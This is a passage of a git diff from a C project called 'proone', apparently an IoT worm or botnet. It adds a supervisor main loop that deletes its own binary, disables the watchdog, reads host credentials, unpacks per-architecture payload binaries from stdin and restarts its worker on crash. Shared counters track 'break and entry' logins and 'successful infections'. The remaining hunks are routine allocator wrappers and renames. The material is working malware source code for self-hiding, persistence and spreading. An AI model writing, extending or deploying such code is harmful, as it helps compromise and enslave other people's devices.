prne_g.ny_bin_shm_fd = -1; + prne_g.bin_ready = false; + prne_init_unpack_bin_archive_result(&prne_g.bin_pack); + prne_init_bin_archive(&prne_g.bin_archive); + + /* inits that need outside resources. IN THIS ORDER! */ + if (!ensure_single_instance()) { + exit_code = 1; + goto END; + } + rnd = mk_rnd_engine(); + init_shared_global(rnd); + create_ny_bin_shm(rnd); + delete_myself(args[0]); + disasble_watchdog(); + + print_ready_signature(rnd); + read_host_credential(); + // get fed with the bin archive + prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); + if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { + prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; + } + + setup_signal_actions(); + + prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); + + // main loop + while (prne_g.caught_signal == 0) { + prne_g.proone_pid = fork(); + + if (prne_g.proone_pid >= 0) { + prne_g.run_cnt += 1; + } + + if (prne_g.proone_pid < 0) { + sleep(1); + } + else if (prne_g.proone_pid > 0) { + int status; + + while (prne_g.caught_signal == 0) { + if (waitpid(prne_g.proone_pid, &status, 0) < 0) { + if (errno != EINTR) { + abort(); + } + else { + continue; + } + } + + prne_g.proone_pid = 0; + break; + } + + if (!WIFEXITED(status)) { + sleep(3); + continue; + } + if (WEXITSTATUS(status) == 0) { + break; + } + } + else { + prne_free(prne_g.ny_bin_shm_name); + close(prne_g.lock_shm_fd); + prne_g.lock_shm_fd = -1; + prne_g.ny_bin_shm_name = NULL; + + exit_code = proone_main(); + break; + } + } + +END: + prne_free_bin_archive(&prne_g.bin_archive); + prne_free_unpack_bin_archive_result(&prne_g.bin_pack); + prne_g.bin_ready = false; + + prne_free(prne_g.host_cred_data); + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; + + if (prne_g.lock_shm_fd >= 0) { + shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); + prne_dvault_reset_dict(); + close(prne_g.lock_shm_fd); + prne_g.lock_shm_fd = -1; + } prne_deinit_dvault(); + prne_free_rnd_engine(rnd); + rnd = NULL; + + + if (prne_s_g->has_ny_bin) { + exec_ny_bin(); + } + + if (prne_g.ny_bin_shm_name != NULL) { + shm_unlink(prne_g.ny_bin_shm_name); + prne_free(prne_g.ny_bin_shm_name); + } + close(prne_g.ny_bin_shm_fd); + prne_g.ny_bin_shm_name = NULL; + prne_g.ny_bin_shm_fd = -1; + return exit_code; } + +static prne_rnd_engine_t *mk_rnd_engine (void) { + uint32_t seed = 0; + prne_rnd_engnie_alloc_result_t ret; + + getrandom(&seed, sizeof(uint32_t), 0); + + if (seed == 0) { + // fall back to seeding with what's available. + seed = + (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ + (uint32_t)(getpid() % 0xFFFFFFFF) ^ + (uint32_t)(getppid() % 0xFFFFFFFF) ^ + (uint32_t)(clock() % 0xFFFFFFFF); + } + + ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); + if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { + abort(); + } + + return ret.engine; +} diff --git a/src/proone.h b/src/proone.h index 5911acf..803af34 100644 --- a/src/proone.h +++ b/src/proone.h @@ -3,18 +3,36 @@ #include <stdint.h> #include <stdbool.h> +#include <time.h> + +#include <sys/types.h> struct prne_global { uint8_t *host_cred_data; size_t host_cred_size; - bool has_proc_lim_lock; - bool bin_ready; - int caught_signal; + char *ny_bin_shm_name; prne_rnd_engine_t *rnd; + struct timespec god_start; + uint64_t run_cnt; + int caught_signal; + pid_t god_pid; + pid_t proone_pid; + int lock_shm_fd; + int ny_bin_shm_fd; + bool bin_ready; prne_unpack_bin_archive_result_t bin_pack; prne_bin_archive_t bin_archive; }; +struct prne_shared_global { + // "break and entry" count. Number of successful logins. + uint64_t bne_cnt; + // Number of successful infections. + uint64_t infect_cnt; + bool has_ny_bin; +}; + -extern struct prne_global pne_g; +extern struct prne_global prne_g; +extern struct prne_shared_global *prne_s_g; diff --git a/src/protocol.h b/src/protocol.h index 3e57251..1ab2c1a 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -1,4 +1,6 @@ #pragma once +#include "util_ct.h" + #include <stddef.h> @@ -19,6 +21,7 @@ typedef enum { NB_PRNE_ARCH } prne_arch_t; +PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF); const char *prne_arch2str (const prne_arch_t x); @@ -1,4 +1,5 @@ #include "rnd.h" +#include "util_rt.h" #include <stdlib.h> @@ -33,7 +34,7 @@ prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *s) { seed = *s; } - ret.engine = (prne_rnd_engine_t*)malloc(sizeof(prne_rnd_engine_t)); + ret.engine = (prne_rnd_engine_t*)prne_malloc(sizeof(prne_rnd_engine_t), 1); if (ret.engine == NULL) { ret.result = PRNE_RND_ENGINE_ALLOC_MEM_ERR; return ret; @@ -48,7 +49,7 @@ prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *s) { } void prne_free_rnd_engine (prne_rnd_engine_t *engine) { - free(engine); + prne_free(engine); } uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine) { diff --git a/src/util_ct.h b/src/util_ct.h new file mode 100644 index 0000000..c8eca2f --- /dev/null +++ b/src/util_ct.h @@ -0,0 +1,7 @@ +#pragma once +#include <assert.h> + + +#define PRNE_LIMIT_ENUM(t,x,l) _Static_assert(x<=l,"enum overflow: "#t) + +#define prne_op_spaceship(a, b) (a == b ? 0 : a < b ? -1 : 1) diff --git a/src/util.c b/src/util_rt.c index 37694ab..28133e0 100644 --- a/src/util.c +++ b/src/util_rt.c @@ -1,4 +1,4 @@ -#include "util.h" +#include "util_rt.h" #include <stdlib.h> #include <string.h> @@ -18,7 +18,31 @@ void prne_succeed_or_die (const int ret) { void prne_empty_func () {} -void prne_rnd_alphanumeric_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len) { +void *prne_malloc (const size_t se, const size_t cnt) { + if (SIZE_MAX / se < cnt) { + errno = ENOMEM; + return NULL; + } + return malloc(cnt * se); +} + +void *prne_realloc (void *ptr, const size_t se, const size_t cnt) { + if (SIZE_MAX / se < cnt) { + errno = ENOMEM; + return NULL; + } + return realloc(ptr, se * cnt); +} + +void *prne_calloc (const size_t se, const size_t cnt) { + return calloc(se, cnt); +} + +void prne_free (void *ptr) { + free(ptr); +} + +void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len) { static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; size_t i = 0; uint32_t n; @@ -122,7 +146,7 @@ char *prne_enc_base64_mem (const uint8_t *data, const size_t size) { goto END; } if (out_len > 0) { - ret = (char*)malloc(out_len + 1); + ret = (char*)prne_malloc(1, out_len + 1); if (ret == NULL) { ok = false; goto END; @@ -135,7 +159,7 @@ END: BIO_free(b64_bio); BIO_free(mem_bio); if (!ok) { - free(ret); + prne_free(ret); ret = NULL; } @@ -159,7 +183,7 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, goto END; } - in_mem = (char*)malloc(str_len); + in_mem = (char*)prne_malloc(1, str_len); if (in_mem == NULL) { ret = false; goto END; @@ -181,7 +205,7 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, BIO_push(b64_bio, mem_bio); out_len = in_mem_len * 3 / 4; - out_mem = (uint8_t*)malloc((size_t)out_len); + out_mem = (uint8_t*)prne_malloc(1, (size_t)out_len); if (out_mem == NULL) { ret = false; goto END; @@ -196,20 +220,20 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, END: BIO_free(b64_bio); BIO_free(mem_bio); - free(in_mem); + prne_free(in_mem); if (ret) { if (read_size > 0) { *data = out_mem; *size = (size_t)read_size; } else { - free(out_mem); + prne_free(out_mem); *data = NULL; *size = 0; } } else { - free(out_mem); + prne_free(out_mem); } return ret; diff --git a/src/util.h b/src/util_rt.h index a5e3070..b10f93d 100644 --- a/src/util.h +++ b/src/util_rt.h @@ -5,9 +5,6 @@ #include <time.h> -#define prne_op_spaceship(a,b) (a==b?0:a<b?-1:1) - - #if 0 bool prne_strendsw (const char *str, const char *w) { const size_t len_str = strlen(str); @@ -23,7 +20,12 @@ bool prne_strendsw (const char *str, const char *w) { void prne_succeed_or_die (const int ret); void prne_empty_func (); -void prne_rnd_alphanumeric_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len); +void *prne_malloc (const size_t se, const size_t cnt); +void *prne_realloc (void *ptr, const size_t se, const size_t cnt); +void *prne_calloc (const size_t se, const size_t cnt); +void prne_free (void *ptr); + +void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len); size_t prne_str_shift_spaces (char *str, const size_t len); struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b); diff --git a/src/worker.c b/src/worker.c index d99884a..c69a925 100644 --- a/src/worker.c +++ b/src/worker.c @@ -1,10 +1,11 @@ #include "worker.h" +#include "util_rt.h" #include <stdlib.h> static void def_free_func (prne_worker_sched_req_t *wsr) { - free(wsr->pollfd_arr); + prne_free(wsr->pollfd_arr); wsr->pollfd_arr = NULL; wsr->pollfd_arr_size = 0; } @@ -14,7 +15,7 @@ static bool def_alloc_func (prne_worker_sched_req_t *wsr, const size_t ny_size) def_free_func(wsr); } else if (ny_size != wsr->pollfd_arr_size) { - void *ny_buf = realloc(wsr->pollfd_arr, ny_size * sizeof(struct pollfd)); + void *ny_buf = prne_realloc(wsr->pollfd_arr, sizeof(struct pollfd), ny_size); if (ny_buf == NULL) { return false; |